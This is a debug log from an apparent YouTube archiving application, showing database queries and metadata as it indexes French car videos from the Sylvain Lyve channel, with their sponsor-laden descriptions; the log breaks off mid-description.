https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nDirecteur de l'accélération : Arthur Morault\nMontage sponso : Romain Desveaux\nMontage : Hugo Cuocolo et Thibault Iacolare\nImage : Lucas Martin\nDrone : Alex Bouton\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #AUDI #QUATTRO", "duration" => 2025, "filename" => "/downloads/Sylvain Lyve/2026-03-19 Audi RS2 : La première d'une longue lignée/Audi RS2 : La première d'une longue lignée [kY544W0MfFI].mkv", "id" => "kY544W0MfFI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=kY544W0MfFI", "playlist_index" => 5, "timestamp" => 1773940503, "title" => "Audi RS2 : La première d'une longue lignée", "upload_date" => "20260319"} 07:39:51.921 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1670.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:51.923 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=673.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:51.925 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=673.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-19 17:15:03Z], 2] 07:39:52.031 [debug] QUERY OK source="media_items" db=104.8ms queue=0.2ms idle=675.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à l'atelier des 1000 pour le prêt de cette superbe Audi RS2\nL'annonce ici 👉 https://atelierdes1000.fr/2025/04/05/audi-rs2/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nDirecteur de l'accélération : Arthur Morault\nMontage sponso : Romain Desveaux\nMontage : Hugo Cuocolo et Thibault Iacolare\nImage : Lucas Martin\nDrone : Alex Bouton\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #AUDI #QUATTRO", "Audi RS2 : La première d'une longue lignée", "80bd58c7-701c-4abc-8007-7d7e44938cfb", "kY544W0MfFI", 2025, false, "https://www.youtube.com/watch?v=kY544W0MfFI", 5, "/downloads/Sylvain Lyve/2026-03-19 Audi RS2 : La première d'une longue lignée/Audi RS2 : La première d'une longue lignée [kY544W0MfFI].mkv", false, false, false, 2, [], 98, ~U[2026-03-19 17:15:03Z], ~U[2026-04-20 05:39:51Z], ~U[2026-04-20 05:39:51Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à l'atelier des 1000 pour le prêt de cette superbe Audi RS2\nL'annonce ici 👉 https://atelierdes1000.fr/2025/04/05/audi-rs2/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nDirecteur de l'accélération : Arthur Morault\nMontage sponso : Romain Desveaux\nMontage : Hugo Cuocolo et Thibault Iacolare\nImage : Lucas Martin\nDrone : Alex Bouton\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #AUDI #QUATTRO", "Audi RS2 : La première d'une longue lignée", "kY544W0MfFI", 2025, false, "https://www.youtube.com/watch?v=kY544W0MfFI", "/downloads/Sylvain Lyve/2026-03-19 Audi RS2 : La première d'une longue lignée/Audi RS2 : La première d'une longue lignée [kY544W0MfFI].mkv", false, 2, ~U[2026-03-19 17:15:03Z]] 07:39:52.034 [debug] QUERY OK source="sources" db=1.5ms queue=0.6ms idle=781.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:52.035 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=112.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:52.040 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=113.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24933] 07:39:52.040 [debug] Current batch of media processed. Will check again in 1000ms 07:39:53.041 [debug] Current batch of media processed. Will check again in 1000ms 07:39:54.042 [debug] Current batch of media processed. Will check again in 1000ms 07:39:55.043 [debug] Current batch of media processed. Will check again in 1000ms 07:39:56.044 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#AUDI #QUATTRO #ANECDOTEMAN", "duration" => 2805, "filename" => "/downloads/Sylvain Lyve/2026-03-12 VTECH : Audi/VTECH : Audi [LZIT8cRyc7k].mkv", "id" => "LZIT8cRyc7k", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LZIT8cRyc7k", "playlist_index" => 6, "timestamp" => 1773335703, "title" => "VTECH : Audi", "upload_date" => "20260312"} 07:39:56.046 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=793.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:56.049 [debug] QUERY OK source="sources" db=1.6ms queue=0.7ms idle=796.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:56.054 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=799.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-12 17:15:03Z], 2] 07:39:56.059 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=804.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#AUDI #QUATTRO #ANECDOTEMAN", "VTECH : Audi", "c3462f1c-aa8a-4840-b6d8-1ef0eb9c82c6", "LZIT8cRyc7k", 2805, false, "https://www.youtube.com/watch?v=LZIT8cRyc7k", 6, "/downloads/Sylvain Lyve/2026-03-12 VTECH : Audi/VTECH : Audi [LZIT8cRyc7k].mkv", false, false, false, 2, [], 98, ~U[2026-03-12 17:15:03Z], ~U[2026-04-20 05:39:56Z], ~U[2026-04-20 05:39:56Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#AUDI #QUATTRO #ANECDOTEMAN", "VTECH : Audi", "LZIT8cRyc7k", 2805, false, "https://www.youtube.com/watch?v=LZIT8cRyc7k", "/downloads/Sylvain Lyve/2026-03-12 VTECH : Audi/VTECH : Audi [LZIT8cRyc7k].mkv", false, 2, ~U[2026-03-12 17:15:03Z]] 07:39:56.067 [debug] QUERY OK source="sources" db=5.6ms queue=0.1ms idle=790.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:56.073 [debug] QUERY OK source="media_profiles" db=3.9ms queue=0.1ms idle=23.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:56.081 [debug] QUERY OK source="media_items" db=5.2ms queue=0.3ms idle=25.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24133] 07:39:56.082 [debug] Current batch of media processed. Will check again in 1000ms 07:39:57.084 [debug] Current batch of media processed. Will check again in 1000ms 07:39:58.085 [debug] Current batch of media processed. Will check again in 1000ms 07:39:59.086 [debug] Current batch of media processed. Will check again in 1000ms 07:40:00.088 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/SylvainF1 pour débloquer les 20 € en utilisant votre carte et participer au tirage au sort pour gagner 2 places pour le GP de Monaco (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------\n\nUn GIGA merci à TERREM pour leur aide sur ce tournage et le prêt de cette GIGA GRUE\nLe site : https://www.terrem.fr/\nEt un très grand merci à Arthur et Joseph pour leur aide scientifique\n\n--------------------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #SCOTCH #AUBOUTDUROULEAU", "duration" => 1198, "filename" => "/downloads/Sylvain Lyve/2026-03-05 SOULEVER une voiture avec du SCOTCH : C'est possible ?/SOULEVER une voiture avec du SCOTCH : C'est possible ? [LsyfOtc2zGg].mkv", "id" => "LsyfOtc2zGg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LsyfOtc2zGg", "playlist_index" => 7, "timestamp" => 1772730901, "title" => "SOULEVER une voiture avec du SCOTCH : C'est possible ?", "upload_date" => "20260305"} 07:40:00.091 [debug] QUERY OK source="sources" db=1.4ms queue=0.4ms idle=1716.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:00.094 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=842.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:00.098 [debug] QUERY OK source="media_items" db=1.9ms queue=0.9ms idle=844.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-05 17:15:01Z], 2] 07:40:00.153 [debug] QUERY OK source="media_items" db=53.1ms idle=848.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/SylvainF1 pour débloquer les 20 € en utilisant votre carte et participer au tirage au sort pour gagner 2 places pour le GP de Monaco (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------\n\nUn GIGA merci à TERREM pour leur aide sur ce tournage et le prêt de cette GIGA GRUE\nLe site : https://www.terrem.fr/\nEt un très grand merci à Arthur et Joseph pour leur aide scientifique\n\n--------------------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #SCOTCH #AUBOUTDUROULEAU", "SOULEVER une voiture avec du SCOTCH : C'est possible ?", "7d8ac753-d0e1-4713-abc5-0feeecc0ffb5", "LsyfOtc2zGg", 1198, false, "https://www.youtube.com/watch?v=LsyfOtc2zGg", 7, "/downloads/Sylvain Lyve/2026-03-05 SOULEVER une voiture avec du SCOTCH : C'est possible ?/SOULEVER une voiture avec du SCOTCH : C'est possible ? [LsyfOtc2zGg].mkv", false, false, false, 2, [], 98, ~U[2026-03-05 17:15:01Z], ~U[2026-04-20 05:40:00Z], ~U[2026-04-20 05:40:00Z], "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/SylvainF1 pour débloquer les 20 € en utilisant votre carte et participer au tirage au sort pour gagner 2 places pour le GP de Monaco (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------\n\nUn GIGA merci à TERREM pour leur aide sur ce tournage et le prêt de cette GIGA GRUE\nLe site : https://www.terrem.fr/\nEt un très grand merci à Arthur et Joseph pour leur aide scientifique\n\n--------------------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #SCOTCH #AUBOUTDUROULEAU", "SOULEVER une voiture avec du SCOTCH : C'est possible ?", "LsyfOtc2zGg", 1198, false, "https://www.youtube.com/watch?v=LsyfOtc2zGg", "/downloads/Sylvain Lyve/2026-03-05 SOULEVER une voiture avec du SCOTCH : C'est possible ?/SOULEVER une voiture avec du SCOTCH : C'est possible ? [LsyfOtc2zGg].mkv", false, 2, ~U[2026-03-05 17:15:01Z]] 07:40:00.155 [debug] QUERY OK source="sources" db=1.3ms idle=861.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:00.157 [debug] QUERY OK source="media_profiles" db=0.9ms idle=64.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:00.159 [debug] QUERY OK source="media_items" db=1.0ms idle=62.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [23338] 07:40:00.159 [debug] Current batch of media processed. Will check again in 1000ms 07:40:00.828 [info] {"source":"oban","duration":783,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:40:01.160 [debug] Current batch of media processed. Will check again in 1000ms 07:40:02.161 [debug] Current batch of media processed. Will check again in 1000ms 07:40:03.163 [debug] Current batch of media processed. Will check again in 1000ms 07:40:04.164 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles, et en particulier Urban pour le 